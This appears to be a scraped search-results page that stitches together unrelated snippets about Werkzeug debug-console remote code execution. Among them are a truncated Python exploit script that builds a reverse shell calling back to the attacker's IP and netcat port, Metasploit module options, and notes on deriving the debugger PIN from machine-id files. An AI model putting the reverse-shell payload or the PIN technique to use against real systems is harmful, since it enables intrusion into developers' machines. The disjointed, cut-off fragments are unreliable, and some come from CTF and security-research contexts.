Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.

June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

2 days ago - If debug is active you could try to access to /console and gain RCE.

Security vulnerabilities and package health score for pip package werkzeug 2.2.2

People would say it's based on MSF exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/werkzeug_debug_rce.rb), but as I couldn't understand at all this exploit, I did it my own exploit.

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

September 30, 2021 - If debug is active you could try to access to /console and gain RCE. ... There is also several exploits on the internet like this or one in metasploit. In some occasions the /console endpoint is going to be protected by a pin. Here you can find how to generate this pin: https://www.daehee.com/werkzeug-console-pin-exploit/

We found that Werkzeug demonstrates a positive version release cadence with at least one new version released in the past 12 months.

We cannot provide a description for this page right now

WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :) flask python3 rce werkzeug ctf-tools pentest-tool rce-exploit werkzeug-exploit

December 4, 2022 - This is a complete list of options available in the multi/http/werkzeug_debug_rce exploit: msf6 exploit(multi/http/werkzeug_debug_rce) > show options Module options (exploit/multi/http/werkzeug_debug_rce): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /console yes URI to the console VHOST no HT

January 18, 2024 - A security research site.

June 3, 2025 - We cannot provide a description for this page right now

This repository contains an advanced Python 3 script to exploit a Remote Code Execution (RCE) vulnerability in the Werkzeug debugger (GHSA-2g68-c3qc-8985).

April 10, 2023 - The second index in the array is the machine id, which is a combination of /etc/machine-id and /proc/self/cgroup. If /etc/machine-id cannot be found on the system then /proc/sys/kernel/random/boot_id can be used instead. The code that creates this id can be found at the top of Werkzeug’s __init__.py.

werkzeug (werkzeug). werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.

February 21, 2025 - Werkzeug is a comprehensive WSGI web application library. The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances.

May 6, 2024 - This is a potential security issue, you are being redirected to https://nvd.nist.gov · Official websites use .gov A .gov website belongs to an official government organization in the United States